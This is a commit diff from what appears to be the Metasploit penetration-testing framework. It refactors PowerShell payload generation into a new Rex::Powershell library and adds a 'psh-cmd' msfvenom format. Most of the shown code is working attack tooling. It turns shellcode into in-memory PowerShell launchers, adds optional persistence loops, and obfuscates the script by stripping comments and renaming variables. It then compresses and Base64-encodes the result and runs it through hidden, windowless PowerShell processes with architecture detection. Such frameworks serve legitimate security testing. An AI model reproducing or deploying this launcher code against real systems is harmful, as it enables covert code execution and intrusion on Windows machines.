Land #4744, refactor powershell for msfvenom psh-cmd

bug/bundler_fix
Brent Cook 2015-04-16 15:44:57 -05:00
commit 9bf897a829
No known key found for this signature in database
GPG Key ID: 1FFAA0B24B708F96
27 changed files with 1182 additions and 562 deletions

View File

@ -1,10 +1,8 @@
# -*- coding: binary -*-
require 'rex/exploitation/powershell'
require 'rex/powershell'
module Msf
module Exploit::Powershell
PowershellScript = Rex::Exploitation::Powershell::Script
def initialize(info = {})
super
register_advanced_options(
@ -27,15 +25,13 @@ module Exploit::Powershell
#
# @return [String] Encoded script
def encode_script(script_in)
# Build script object
psh = PowershellScript.new(script_in)
# Invoke enabled modifiers
datastore.select { |k, v| k =~ /^Powershell::(strip|sub)/ and v }.keys.map do |k|
opts = {}
datastore.select { |k, v| k =~ /^Powershell::(strip|sub)/ && v }.keys.map do |k|
mod_method = k.split('::').last.intern
psh.send(mod_method)
opts[mod_method.to_sym] = true
end
psh.encode_code
Rex::Powershell::Command.encode_script(script_in, opts)
end
#
@ -46,16 +42,14 @@ module Exploit::Powershell
# @param eof [String] Marker to indicate the end of file appended to script
#
# @return [String] Compressed script with decompression stub
def compress_script(script_in, eof = nil)
# Build script object
psh = PowershellScript.new(script_in)
# Invoke enabled modifiers
datastore.select { |k, v| k =~ /^Powershell::(strip|sub)/ and v }.keys.map do |k|
def compress_script(script_in, eof=nil)
opts = {}
datastore.select { |k, v| k =~ /^Powershell::(strip|sub)/ && v }.keys.map do |k|
mod_method = k.split('::').last.intern
psh.send(mod_method)
opts[mod_method.to_sym] = true
end
psh.compress_code(eof)
Rex::Powershell::Command.compress_script(script_in, eof, opts)
end
#
@ -69,19 +63,7 @@ module Exploit::Powershell
#
# @return [String] Powershell command line with arguments
def generate_psh_command_line(opts)
if opts[:path] and (opts[:path][-1, 1] != '\\')
opts[:path] << '\\'
end
if opts[:no_full_stop]
binary = 'powershell'
else
binary = 'powershell.exe'
end
args = generate_psh_args(opts)
"#{opts[:path]}#{binary} #{args}"
Rex::Powershell::Command.generate_psh_command_line(opts)
end
#
@ -122,66 +104,7 @@ module Exploit::Powershell
opts[:shorten] = (datastore['Powershell::method'] != 'old')
end
arg_string = ' '
opts.each_pair do |arg, value|
case arg
when :encodedcommand
arg_string << "-EncodedCommand #{value} " if value
when :executionpolicy
arg_string << "-ExecutionPolicy #{value} " if value
when :inputformat
arg_string << "-InputFormat #{value} " if value
when :file
arg_string << "-File #{value} " if value
when :noexit
arg_string << '-NoExit ' if value
when :nologo
arg_string << '-NoLogo ' if value
when :noninteractive
arg_string << '-NonInteractive ' if value
when :mta
arg_string << '-Mta ' if value
when :outputformat
arg_string << "-OutputFormat #{value} " if value
when :sta
arg_string << '-Sta ' if value
when :noprofile
arg_string << '-NoProfile ' if value
when :windowstyle
arg_string << "-WindowStyle #{value} " if value
end
end
# Command must be last (unless from stdin - etc)
if opts[:command]
arg_string << "-Command #{opts[:command]}"
end
# Shorten arg if PSH 2.0+
if opts[:shorten]
# Invoke-Command and Out-File require these options to have
# an additional space before to prevent Powershell code being
# mangled.
arg_string.gsub!(' -Command ', ' -c ')
arg_string.gsub!('-EncodedCommand ', '-e ')
arg_string.gsub!('-ExecutionPolicy ', '-ep ')
arg_string.gsub!(' -File ', ' -f ')
arg_string.gsub!('-InputFormat ', '-i ')
arg_string.gsub!('-NoExit ', '-noe ')
arg_string.gsub!('-NoLogo ', '-nol ')
arg_string.gsub!('-NoProfile ', '-nop ')
arg_string.gsub!('-NonInteractive ', '-noni ')
arg_string.gsub!('-OutputFormat ', '-o ')
arg_string.gsub!('-Sta ', '-s ')
arg_string.gsub!('-WindowStyle ', '-w ')
end
# Strip off first space character
arg_string = arg_string[1..-1]
# Remove final space character
arg_string = arg_string[0..-2] if (arg_string[-1] == ' ')
arg_string
Rex::Powershell::Command.generate_psh_args(opts)
end
#
@ -196,41 +119,15 @@ module Exploit::Powershell
# @return [String] Wrapped powershell code
def run_hidden_psh(ps_code, payload_arch, encoded)
arg_opts = {
noprofile: true,
windowstyle: 'hidden',
noprofile: true,
windowstyle: 'hidden',
}
if encoded
arg_opts[:encodedcommand] = ps_code
else
arg_opts[:command] = ps_code.gsub("'", "''")
end
# Old technique fails if powershell exits..
arg_opts[:noexit] = true if datastore['Powershell::method'] == 'old'
arg_opts[:noexit] = (datastore['Powershell::method'] == 'old')
arg_opts[:shorten] = (datastore['Powershell::method'] != 'old')
ps_args = generate_psh_args(arg_opts)
process_start_info = <<EOS
$s=New-Object System.Diagnostics.ProcessStartInfo
$s.FileName=$b
$s.Arguments='#{ps_args}'
$s.UseShellExecute=$false
$p=[System.Diagnostics.Process]::Start($s)
EOS
process_start_info.gsub!("\n", ';')
archictecure_detection = <<EOS
if([IntPtr]::Size -eq 4){
#{payload_arch == 'x86' ? "$b='powershell.exe'" : "$b=$env:windir+'\\sysnative\\WindowsPowerShell\\v1.0\\powershell.exe'"}
}else{
#{payload_arch == 'x86' ? "$b=$env:windir+'\\syswow64\\WindowsPowerShell\\v1.0\\powershell.exe'" : "$b='powershell.exe'"}
};
EOS
archictecure_detection.gsub!("\n", '')
archictecure_detection + process_start_info
Rex::Powershell::Command.run_hidden_psh(ps_code, payload_arch, encoded, arg_opts)
end
#
@ -263,118 +160,28 @@ EOS
opts[:prepend_sleep] ||= datastore['Powershell::prepend_sleep']
opts[:method] ||= datastore['Powershell::method']
if opts[:encode_inner_payload] && opts[:encode_final_payload]
fail RuntimeError, ':encode_inner_payload and :encode_final_payload are incompatible options'
end
if opts[:no_equals] && !opts[:encode_final_payload]
fail RuntimeError, ':no_equals requires :encode_final_payload option to be used'
end
psh_payload = case opts[:method]
when 'net'
Msf::Util::EXE.to_win32pe_psh_net(framework, pay)
when 'reflection'
Msf::Util::EXE.to_win32pe_psh_reflection(framework, pay)
when 'old'
Msf::Util::EXE.to_win32pe_psh(framework, pay)
when 'msil'
fail RuntimeError, 'MSIL Powershell method no longer exists'
else
fail RuntimeError, 'No Powershell method specified'
end
# Run our payload in a while loop
if opts[:persist]
fun_name = Rex::Text.rand_text_alpha(rand(2) + 2)
sleep_time = rand(5) + 5
vprint_status("Sleep time set to #{sleep_time} seconds")
psh_payload = "function #{fun_name}{#{psh_payload}};"
psh_payload << "while(1){Start-Sleep -s #{sleep_time};#{fun_name};1};"
end
if opts[:prepend_sleep]
if opts[:prepend_sleep].to_i > 0
psh_payload = "Start-Sleep -s #{opts[:prepend_sleep]};" << psh_payload
elsif opts[:prepend_sleep].to_i < 0
vprint_error('Sleep time must be greater than or equal to 0 seconds')
end
end
compressed_payload = compress_script(psh_payload)
encoded_payload = encode_script(psh_payload)
# This branch is probably never taken...
if encoded_payload.length <= compressed_payload.length
smallest_payload = encoded_payload
encoded = true
else
if opts[:encode_inner_payload]
encoded = true
compressed_encoded_payload = encode_script(compressed_payload)
if encoded_payload.length <= compressed_encoded_payload.length
smallest_payload = encoded_payload
else
smallest_payload = compressed_encoded_payload
end
else
smallest_payload = compressed_payload
encoded = false
end
end
# Wrap in hidden runtime / architecture detection
final_payload = run_hidden_psh(smallest_payload, payload_arch, encoded)
command_args = {
noprofile: true,
windowstyle: 'hidden'
}.merge(opts)
if opts[:encode_final_payload]
command_args[:encodedcommand] = encode_script(final_payload)
# If '=' is a bad character pad the payload until Base64 encoded
# payload contains none.
if opts[:no_equals]
while command_args[:encodedcommand].include? '='
final_payload << ' '
command_args[:encodedcommand] = encode_script(final_payload)
end
end
else
if opts[:use_single_quotes]
# Escape Single Quotes
final_payload.gsub!("'", "''")
# Wrap command in quotes
final_payload = "'#{final_payload}'"
end
command_args[:command] = final_payload
end
psh_command = generate_psh_command_line(command_args)
if opts[:remove_comspec]
command = psh_command
else
command = "%COMSPEC% /b /c start /b /min #{psh_command}"
unless opts.key? :shorten
opts[:shorten] = (datastore['Powershell::method'] != 'old')
end
template_path = File.join(Msf::Config.data_directory,
"templates",
"scripts")
command = Rex::Powershell::Command.cmd_psh_payload(pay,
payload_arch,
template_path,
opts)
vprint_status("Powershell command length: #{command.length}")
if command.length > 8191
fail RuntimeError, 'Powershell command length is greater than the command line maximum (8192 characters)'
end
command
end
#
# Useful method cache
#
module PshMethods
include Rex::Exploitation::Powershell::PshMethods
include Rex::Powershell::PshMethods
end
end
end

View File

@ -15,6 +15,7 @@ require 'rex/peparsey'
require 'rex/pescan'
require 'rex/random_identifier_generator'
require 'rex/zip'
require 'rex/powershell'
require 'metasm'
require 'digest/sha1'
require 'msf/core/exe/segment_injector'
@ -1080,36 +1081,17 @@ require 'msf/core/exe/segment_appender'
end
def self.to_win32pe_psh_net(framework, code, opts={})
rig = Rex::RandomIdentifierGenerator.new()
rig.init_var(:var_code)
rig.init_var(:var_kernel32)
rig.init_var(:var_baseaddr)
rig.init_var(:var_threadHandle)
rig.init_var(:var_output)
rig.init_var(:var_codeProvider)
rig.init_var(:var_compileParams)
rig.init_var(:var_syscode)
rig.init_var(:var_temp)
hash_sub = rig.to_h
hash_sub[:b64shellcode] = Rex::Text.encode_base64(code)
read_replace_script_template("to_mem_dotnet.ps1.template", hash_sub).gsub(/(?<!\r)\n/, "\r\n")
template_path = File.join(Msf::Config.data_directory,
"templates",
"scripts")
Rex::Powershell::Payload.to_win32pe_psh_net(template_path, code)
end
def self.to_win32pe_psh(framework, code, opts = {})
hash_sub = {}
hash_sub[:var_code] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_win32_func] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_payload] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_size] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_rwx] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_iter] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_syscode] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:shellcode] = Rex::Text.to_powershell(code, hash_sub[:var_code])
read_replace_script_template("to_mem_old.ps1.template", hash_sub).gsub(/(?<!\r)\n/, "\r\n")
template_path = File.join(Msf::Config.data_directory,
"templates",
"scripts")
Rex::Powershell::Payload.to_win32pe_psh(template_path, code)
end
#
@ -1118,25 +1100,21 @@ require 'msf/core/exe/segment_appender'
# Originally from PowerSploit
#
def self.to_win32pe_psh_reflection(framework, code, opts = {})
# Intialize rig and value names
rig = Rex::RandomIdentifierGenerator.new()
rig.init_var(:func_get_proc_address)
rig.init_var(:func_get_delegate_type)
rig.init_var(:var_code)
rig.init_var(:var_module)
rig.init_var(:var_procedure)
rig.init_var(:var_unsafe_native_methods)
rig.init_var(:var_parameters)
rig.init_var(:var_return_type)
rig.init_var(:var_type_builder)
rig.init_var(:var_buffer)
rig.init_var(:var_hthread)
template_path = File.join(Msf::Config.data_directory,
"templates",
"scripts")
Rex::Powershell::Payload.to_win32pe_psh_reflection(template_path, code)
end
hash_sub = rig.to_h
hash_sub[:b64shellcode] = Rex::Text.encode_base64(code)
read_replace_script_template("to_mem_pshreflection.ps1.template",
hash_sub).gsub(/(?<!\r)\n/, "\r\n")
def self.to_powershell_command(framework, arch, code)
template_path = File.join(Msf::Config.data_directory,
"templates",
"scripts")
Rex::Powershell::Command.cmd_psh_payload(code,
arch,
template_path,
encode_final_payload: true,
method: 'reflection')
end
def self.to_win32pe_vbs(framework, code, opts = {})
@ -1944,6 +1922,8 @@ require 'msf/core/exe/segment_appender'
Msf::Util::EXE.to_win32pe_psh_net(framework, code, exeopts)
when 'psh-reflection'
Msf::Util::EXE.to_win32pe_psh_reflection(framework, code, exeopts)
when 'psh-cmd'
Msf::Util::EXE.to_powershell_command(framework, arch, code)
end
end
@ -1967,6 +1947,7 @@ require 'msf/core/exe/segment_appender'
"psh",
"psh-net",
"psh-reflection",
"psh-cmd",
"vba",
"vba-exe",
"vbs",

View File

@ -42,6 +42,7 @@ end
require 'rex/constants'
require 'rex/exceptions'
require 'rex/transformer'
require 'rex/random_identifier_generator'
require 'rex/text'
require 'rex/time'
require 'rex/job_container'

View File

@ -1,62 +0,0 @@
# -*- coding: binary -*-
require 'rex/exploitation/powershell/output'
require 'rex/exploitation/powershell/parser'
require 'rex/exploitation/powershell/obfu'
require 'rex/exploitation/powershell/param'
require 'rex/exploitation/powershell/function'
require 'rex/exploitation/powershell/script'
require 'rex/exploitation/powershell/psh_methods'
module Rex
module Exploitation
module Powershell
#
# Reads script into a PowershellScript
#
# @param script_path [String] Path to the Script File
#
# @return [Script] Powershell Script object
def self.read_script(script_path)
Rex::Exploitation::Powershell::Script.new(script_path)
end
#
# Insert substitutions into the powershell script
# If script is a path to a file then read the file
# otherwise treat it as the contents of a file
#
# @param script [String] Script file or path to script
# @param subs [Array] Substitutions to insert
#
# @return [String] Modified script file
def self.make_subs(script, subs)
if ::File.file?(script)
script = ::File.read(script)
end
subs.each do |set|
script.gsub!(set[0], set[1])
end
script
end
#
# Return an array of substitutions for use in make_subs
#
# @param subs [String] A ; seperated list of substitutions
#
# @return [Array] An array of substitutions
def self.process_subs(subs)
return [] if subs.nil? or subs.empty?
new_subs = []
subs.split(';').each do |set|
new_subs << set.split(',', 2)
end
new_subs
end
end
end
end

View File

@ -1,183 +0,0 @@
# -*- coding: binary -*-
module Rex
module Exploitation
module Powershell
module Parser
# Reserved special variables
# Acquired with: Get-Variable | Format-Table name, value -auto
RESERVED_VARIABLE_NAMES = [
'$$',
'$?',
'$^',
'$_',
'$args',
'$ConfirmPreference',
'$ConsoleFileName',
'$DebugPreference',
'$Env',
'$Error',
'$ErrorActionPreference',
'$ErrorView',
'$ExecutionContext',
'$false',
'$FormatEnumerationLimit',
'$HOME',
'$Host',
'$input',
'$LASTEXITCODE',
'$MaximumAliasCount',
'$MaximumDriveCount',
'$MaximumErrorCount',
'$MaximumFunctionCount',
'$MaximumHistoryCount',
'$MaximumVariableCount',
'$MyInvocation',
'$NestedPromptLevel',
'$null',
'$OutputEncoding',
'$PID',
'$PROFILE',
'$ProgressPreference',
'$PSBoundParameters',
'$PSCulture',
'$PSEmailServer',
'$PSHOME',
'$PSSessionApplicationName',
'$PSSessionConfigurationName',
'$PSSessionOption',
'$PSUICulture',
'$PSVersionTable',
'$PWD',
'$ReportErrorShowExceptionClass',
'$ReportErrorShowInnerException',
'$ReportErrorShowSource',
'$ReportErrorShowStackTrace',
'$ShellId',
'$StackTrace',
'$true',
'$VerbosePreference',
'$WarningPreference',
'$WhatIfPreference'
].map(&:downcase).freeze
#
# Get variable names from code, removes reserved names from return
#
# @return [Array] variable names
def get_var_names
our_vars = code.scan(/\$[a-zA-Z\-\_0-9]+/).uniq.flatten.map(&:strip)
our_vars.select { |v| !RESERVED_VARIABLE_NAMES.include?(v.downcase) }
end
#
# Get function names from code
#
# @return [Array] function names
def get_func_names
code.scan(/function\s([a-zA-Z\-\_0-9]+)/).uniq.flatten
end
#
# Attempt to find string literals in PSH expression
#
# @return [Array] string literals
def get_string_literals
code.scan(/@"(.+?)"@|@'(.+?)'@/m)
end
#
# Scan code and return matches with index
#
# @param str [String] string to match in code
# @param source [String] source code to match, defaults to @code
#
# @return [Array[String,Integer]] matched items with index
def scan_with_index(str, source = code)
::Enumerator.new do |y|
source.scan(str) do
y << ::Regexp.last_match
end
end.map { |m| [m.to_s, m.offset(0)[0]] }
end
#
# Return matching bracket type
#
# @param char [String] opening bracket character
#
# @return [String] matching closing bracket
def match_start(char)
case char
when '{'
'}'
when '('
')'
when '['
']'
when '<'
'>'
else
fail ArgumentError, 'Unknown starting bracket'
end
end
#
# Extract block of code inside brackets/parenthesis
#
# Attempts to match the bracket at idx, handling nesting manually
# Once the balanced matching bracket is found, all script content
# between idx and the index of the matching bracket is returned
#
# @param idx [Integer] index of opening bracket
#
# @return [String] content between matching brackets
def block_extract(idx)
fail ArgumentError unless idx
if idx < 0 || idx >= code.length
fail ArgumentError, 'Invalid index'
end
start = code[idx]
stop = match_start(start)
delims = scan_with_index(/#{Regexp.escape(start)}|#{Regexp.escape(stop)}/, code[idx + 1..-1])
delims.map { |x| x[1] = x[1] + idx + 1 }
c = 1
sidx = nil
# Go through delims till we balance, get idx
while (c != 0) && (x = delims.shift)
sidx = x[1]
x[0] == stop ? c -= 1 : c += 1
end
code[idx..sidx]
end
#
# Extract a block of function code
#
# @param func_name [String] function name
# @param delete [Boolean] delete the function from the code
#
# @return [String] function block
def get_func(func_name, delete = false)
start = code.index(func_name)
return nil unless start
idx = code[start..-1].index('{') + start
func_txt = block_extract(idx)
if delete
delete_code = code[0..idx]
delete_code << code[(idx + func_txt.length)..-1]
@code = delete_code
end
Function.new(func_name, func_txt)
end
end # Parser
end
end
end

62
lib/rex/powershell.rb Normal file
View File

@ -0,0 +1,62 @@
# -*- coding: binary -*-
require 'rex/powershell/payload'
require 'rex/powershell/output'
require 'rex/powershell/parser'
require 'rex/powershell/obfu'
require 'rex/powershell/param'
require 'rex/powershell/function'
require 'rex/powershell/script'
require 'rex/powershell/psh_methods'
require 'rex/powershell/command'
module Rex
module Powershell
#
# Reads script into a PowershellScript
#
# @param script_path [String] Path to the Script File
#
# @return [Script] Powershell Script object
def self.read_script(script_path)
Rex::Powershell::Script.new(script_path)
end
#
# Insert substitutions into the powershell script
# If script is a path to a file then read the file
# otherwise treat it as the contents of a file
#
# @param script [String] Script file or path to script
# @param subs [Array] Substitutions to insert
#
# @return [String] Modified script file
def self.make_subs(script, subs)
if ::File.file?(script)
script = ::File.read(script)
end
subs.each do |set|
script.gsub!(set[0], set[1])
end
script
end
#
# Return an array of substitutions for use in make_subs
#
# @param subs [String] A ; seperated list of substitutions
#
# @return [Array] An array of substitutions
def self.process_subs(subs)
return [] if subs.nil? or subs.empty?
new_subs = []
subs.split(';').each do |set|
new_subs << set.split(',', 2)
end
new_subs
end
end
end

View File

@ -0,0 +1,359 @@
# -*- coding: binary -*-
module Rex
module Powershell
module Command
#
# Return an encoded powershell script
# Will invoke PSH modifiers as enabled
#
# @param script_in [String] Script contents
# @param opts [Hash] The options for encoding
# @option opts [Bool] :strip_comments Strip comments
# @option opts [Bool] :strip_whitespace Strip whitespace
# @option opts [Bool] :sub_vars Substitute variable names
# @option opts [Bool] :sub_funcs Substitute function names
#
# @return [String] Encoded script
def self.encode_script(script_in, opts={})
# Build script object
psh = Rex::Powershell::Script.new(script_in)
psh.strip_comments if opts[:strip_comments]
psh.strip_whitespace if opts[:strip_whitespace]
psh.sub_vars if opts[:sub_vars]
psh.sub_funcs if opts[:sub_funcs]
psh.encode_code
end
#
# Return a gzip compressed powershell script
# Will invoke PSH modifiers as enabled
#
# @param script_in [String] Script contents
# @param eof [String] Marker to indicate the end of file appended to script
# @param opts [Hash] The options for encoding
# @option opts [Bool] :strip_comments Strip comments
# @option opts [Bool] :strip_whitespace Strip whitespace
# @option opts [Bool] :sub_vars Substitute variable names
# @option opts [Bool] :sub_funcs Substitute function names
#
# @return [String] Compressed script with decompression stub
def self.compress_script(script_in, eof=nil, opts={})
# Build script object
psh = Rex::Powershell::Script.new(script_in)
psh.strip_comments if opts[:strip_comments]
psh.strip_whitespace if opts[:strip_whitespace]
psh.sub_vars if opts[:sub_vars]
psh.sub_funcs if opts[:sub_funcs]
psh.compress_code(eof)
end
#
# Generate a powershell command line, options are passed on to
# generate_psh_args
#
# @param opts [Hash] The options to generate the command line
# @option opts [String] :path Path to the powershell binary
# @option opts [Boolean] :no_full_stop Whether powershell binary
# should include .exe
#
# @return [String] Powershell command line with arguments
def self.generate_psh_command_line(opts)
if opts[:path] and (opts[:path][-1, 1] != '\\')
opts[:path] << '\\'
end
if opts[:no_full_stop]
binary = 'powershell'
else
binary = 'powershell.exe'
end
args = generate_psh_args(opts)
"#{opts[:path]}#{binary} #{args}"
end
#
# Generate arguments for the powershell command
# The format will be have no space at the start and have a space
# afterwards e.g. "-Arg1 x -Arg -Arg x "
#
# @param opts [Hash] The options to generate the command line
# @option opts [Boolean] :shorten Whether to shorten the powershell
# arguments (v2.0 or greater)
# @option opts [String] :encodedcommand Powershell script as an
# encoded command (-EncodedCommand)
# @option opts [String] :executionpolicy The execution policy
# (-ExecutionPolicy)
# @option opts [String] :inputformat The input format (-InputFormat)
# @option opts [String] :file The path to a powershell file (-File)
# @option opts [Boolean] :noexit Whether to exit powershell after
# execution (-NoExit)
# @option opts [Boolean] :nologo Whether to display the logo (-NoLogo)
# @option opts [Boolean] :noninteractive Whether to load a non
# interactive powershell (-NonInteractive)
# @option opts [Boolean] :mta Whether to run as Multi-Threaded
# Apartment (-Mta)
# @option opts [String] :outputformat The output format
# (-OutputFormat)
# @option opts [Boolean] :sta Whether to run as Single-Threaded
# Apartment (-Sta)
# @option opts [Boolean] :noprofile Whether to use the current users
# powershell profile (-NoProfile)
# @option opts [String] :windowstyle The window style to use
# (-WindowStyle)
#
# @return [String] Powershell command arguments
def self.generate_psh_args(opts)
return '' unless opts
unless opts.key? :shorten
opts[:shorten] = (opts[:method] != 'old')
end
arg_string = ' '
opts.each_pair do |arg, value|
case arg
when :encodedcommand
arg_string << "-EncodedCommand #{value} " if value
when :executionpolicy
arg_string << "-ExecutionPolicy #{value} " if value
when :inputformat
arg_string << "-InputFormat #{value} " if value
when :file
arg_string << "-File #{value} " if value
when :noexit
arg_string << '-NoExit ' if value
when :nologo
arg_string << '-NoLogo ' if value
when :noninteractive
arg_string << '-NonInteractive ' if value
when :mta
arg_string << '-Mta ' if value
when :outputformat
arg_string << "-OutputFormat #{value} " if value
when :sta
arg_string << '-Sta ' if value
when :noprofile
arg_string << '-NoProfile ' if value
when :windowstyle
arg_string << "-WindowStyle #{value} " if value
end
end
# Command must be last (unless from stdin - etc)
if opts[:command]
arg_string << "-Command #{opts[:command]}"
end
# Shorten arg if PSH 2.0+
if opts[:shorten]
# Invoke-Command and Out-File require these options to have
# an additional space before to prevent Powershell code being
# mangled.
arg_string.gsub!(' -Command ', ' -c ')
arg_string.gsub!('-EncodedCommand ', '-e ')
arg_string.gsub!('-ExecutionPolicy ', '-ep ')
arg_string.gsub!(' -File ', ' -f ')
arg_string.gsub!('-InputFormat ', '-i ')
arg_string.gsub!('-NoExit ', '-noe ')
arg_string.gsub!('-NoLogo ', '-nol ')
arg_string.gsub!('-NoProfile ', '-nop ')
arg_string.gsub!('-NonInteractive ', '-noni ')
arg_string.gsub!('-OutputFormat ', '-o ')
arg_string.gsub!('-Sta ', '-s ')
arg_string.gsub!('-WindowStyle ', '-w ')
end
# Strip off first space character
arg_string = arg_string[1..-1]
# Remove final space character
arg_string = arg_string[0..-2] if (arg_string[-1] == ' ')
arg_string
end
#
# Wraps the powershell code to launch a hidden window and
# detect the execution environment and spawn the appropriate
# powershell executable for the payload architecture.
#
# @param ps_code [String] Powershell code
# @param payload_arch [String] The payload architecture 'x86'/'x86_64'
# @param encoded [Boolean] Indicates whether ps_code is encoded or not
# @param opts [Hash] The options for generate_psh_args
#
# @return [String] Wrapped powershell code
def self.run_hidden_psh(ps_code, payload_arch, encoded, opts={})
opts[:noprofile] ||= 'true'
opts[:windowstyle] ||= 'hidden'
# Old method needs host process to stay open
opts[:noexit] = true if (opts[:method] == 'old')
if encoded
opts[:encodedcommand] = ps_code
else
opts[:command] = ps_code.gsub("'", "''")
end
ps_args = generate_psh_args(opts)
process_start_info = <<EOS
$s=New-Object System.Diagnostics.ProcessStartInfo
$s.FileName=$b
$s.Arguments='#{ps_args}'
$s.UseShellExecute=$false
$s.RedirectStandardOutput=$true
$s.WindowStyle='Hidden'
$s.CreateNoWindow=$true
$p=[System.Diagnostics.Process]::Start($s)
EOS
process_start_info.gsub!("\n", ';')
archictecure_detection = <<EOS
if([IntPtr]::Size -eq 4){
#{payload_arch == 'x86' ? "$b='powershell.exe'" : "$b=$env:windir+'\\sysnative\\WindowsPowerShell\\v1.0\\powershell.exe'"}
}else{
#{payload_arch == 'x86' ? "$b=$env:windir+'\\syswow64\\WindowsPowerShell\\v1.0\\powershell.exe'" : "$b='powershell.exe'"}
};
EOS
archictecure_detection.gsub!("\n", '')
archictecure_detection + process_start_info
end
#
# Creates a powershell command line string which will execute the
# payload in a hidden window in the appropriate execution environment
# for the payload architecture. Opts are passed through to
# run_hidden_psh, generate_psh_command_line and generate_psh_args
#
# @param pay [String] The payload shellcode
# @param payload_arch [String] The payload architecture 'x86'/'x86_64'
# @param opts [Hash] The options to generate the command
# @option opts [Boolean] :persist Loop the payload to cause
# re-execution if the shellcode finishes
# @option opts [Integer] :prepend_sleep Sleep for the specified time
# before executing the payload
# @option opts [String] :method The powershell injection technique to
# use: 'net'/'reflection'/'old'
# @option opts [Boolean] :encode_inner_payload Encodes the powershell
# script within the hidden/architecture detection wrapper
# @option opts [Boolean] :encode_final_payload Encodes the final
# powershell script
# @option opts [Boolean] :remove_comspec Removes the %COMSPEC%
# environment variable at the start of the command line
# @option opts [Boolean] :use_single_quotes Wraps the -Command
# argument in single quotes unless :encode_final_payload
#
# @return [String] Powershell command line with payload
def self.cmd_psh_payload(pay, payload_arch, template_path, opts = {})
if opts[:encode_inner_payload] && opts[:encode_final_payload]
fail RuntimeError, ':encode_inner_payload and :encode_final_payload are incompatible options'
end
if opts[:no_equals] && !opts[:encode_final_payload]
fail RuntimeError, ':no_equals requires :encode_final_payload option to be used'
end
psh_payload = case opts[:method]
when 'net'
Rex::Powershell::Payload.to_win32pe_psh_net(template_path, pay)
when 'reflection'
Rex::Powershell::Payload.to_win32pe_psh_reflection(template_path, pay)
when 'old'
Rex::Powershell::Payload.to_win32pe_psh(template_path, pay)
when 'msil'
fail RuntimeError, 'MSIL Powershell method no longer exists'
else
fail RuntimeError, 'No Powershell method specified'
end
# Run our payload in a while loop
if opts[:persist]
fun_name = Rex::Text.rand_text_alpha(rand(2) + 2)
sleep_time = rand(5) + 5
psh_payload = "function #{fun_name}{#{psh_payload}};"
psh_payload << "while(1){Start-Sleep -s #{sleep_time};#{fun_name};1};"
end
if opts[:prepend_sleep]
if opts[:prepend_sleep].to_i > 0
psh_payload = "Start-Sleep -s #{opts[:prepend_sleep]};" << psh_payload
end
end
compressed_payload = compress_script(psh_payload, nil, opts)
encoded_payload = encode_script(psh_payload, opts)
# This branch is probably never taken...
if encoded_payload.length <= compressed_payload.length
smallest_payload = encoded_payload
encoded = true
else
if opts[:encode_inner_payload]
encoded = true
compressed_encoded_payload = encode_script(compressed_payload)
if encoded_payload.length <= compressed_encoded_payload.length
smallest_payload = encoded_payload
else
smallest_payload = compressed_encoded_payload
end
else
smallest_payload = compressed_payload
encoded = false
end
end
# Wrap in hidden runtime / architecture detection
inner_args = opts.clone
final_payload = run_hidden_psh(smallest_payload, payload_arch, encoded, inner_args)
command_args = {
noprofile: true,
windowstyle: 'hidden'
}.merge(opts)
if opts[:encode_final_payload]
command_args[:encodedcommand] = encode_script(final_payload)
# If '=' is a bad character pad the payload until Base64 encoded
# payload contains none.
if opts[:no_equals]
while command_args[:encodedcommand].include? '='
final_payload << ' '
command_args[:encodedcommand] = encode_script(final_payload)
end
end
else
if opts[:use_single_quotes]
# Escape Single Quotes
final_payload.gsub!("'", "''")
# Wrap command in quotes
final_payload = "'#{final_payload}'"
end
command_args[:command] = final_payload
end
psh_command = generate_psh_command_line(command_args)
if opts[:remove_comspec]
command = psh_command
else
command = "%COMSPEC% /b /c start /b /min #{psh_command}"
end
if command.length > 8191
fail RuntimeError, 'Powershell command length is greater than the command line maximum (8192 characters)'
end
command
end
end
end
end

View File

@ -1,7 +1,6 @@
# -*- coding: binary -*-
module Rex
module Exploitation
module Powershell
class Function
FUNCTION_REGEX = Regexp.new(/\[(\w+\[\])\]\$(\w+)\s?=|\[(\w+)\]\$(\w+)\s?=|\[(\w+\[\])\]\s+?\$(\w+)\s+=|\[(\w+)\]\s+\$(\w+)\s?=/i)
@ -60,4 +59,3 @@ module Powershell
end
end
end
end

View File

@ -3,7 +3,6 @@
require 'rex/text'
module Rex
module Exploitation
module Powershell
module Obfu
MULTI_LINE_COMMENTS_REGEX = Regexp.new(/<#(.*?)#>/m)
@ -95,4 +94,3 @@ module Powershell
end # Obfu
end
end
end

View File

@ -4,7 +4,6 @@ require 'zlib'
require 'rex/text'
module Rex
module Exploitation
module Powershell
module Output
#
@ -148,4 +147,3 @@ module Powershell
end
end
end
end

View File

@ -1,7 +1,6 @@
# -*- coding: binary -*-
module Rex
module Exploitation
module Powershell
class Param
attr_accessor :klass, :name
@ -20,4 +19,3 @@ module Powershell
end
end
end
end

View File

@ -0,0 +1,182 @@
# -*- coding: binary -*-
module Rex
module Powershell
module Parser
# Reserved special variables
# Acquired with: Get-Variable | Format-Table name, value -auto
RESERVED_VARIABLE_NAMES = [
'$$',
'$?',
'$^',
'$_',
'$args',
'$ConfirmPreference',
'$ConsoleFileName',
'$DebugPreference',
'$Env',
'$Error',
'$ErrorActionPreference',
'$ErrorView',
'$ExecutionContext',
'$false',
'$FormatEnumerationLimit',
'$HOME',
'$Host',
'$input',
'$LASTEXITCODE',
'$MaximumAliasCount',
'$MaximumDriveCount',
'$MaximumErrorCount',
'$MaximumFunctionCount',
'$MaximumHistoryCount',
'$MaximumVariableCount',
'$MyInvocation',
'$NestedPromptLevel',
'$null',
'$OutputEncoding',
'$PID',
'$PROFILE',
'$ProgressPreference',
'$PSBoundParameters',
'$PSCulture',
'$PSEmailServer',
'$PSHOME',
'$PSSessionApplicationName',
'$PSSessionConfigurationName',
'$PSSessionOption',
'$PSUICulture',
'$PSVersionTable',
'$PWD',
'$ReportErrorShowExceptionClass',
'$ReportErrorShowInnerException',
'$ReportErrorShowSource',
'$ReportErrorShowStackTrace',
'$ShellId',
'$StackTrace',
'$true',
'$VerbosePreference',
'$WarningPreference',
'$WhatIfPreference'
].map(&:downcase).freeze
#
# Get variable names from code, removes reserved names from return
#
# @return [Array] variable names
def get_var_names
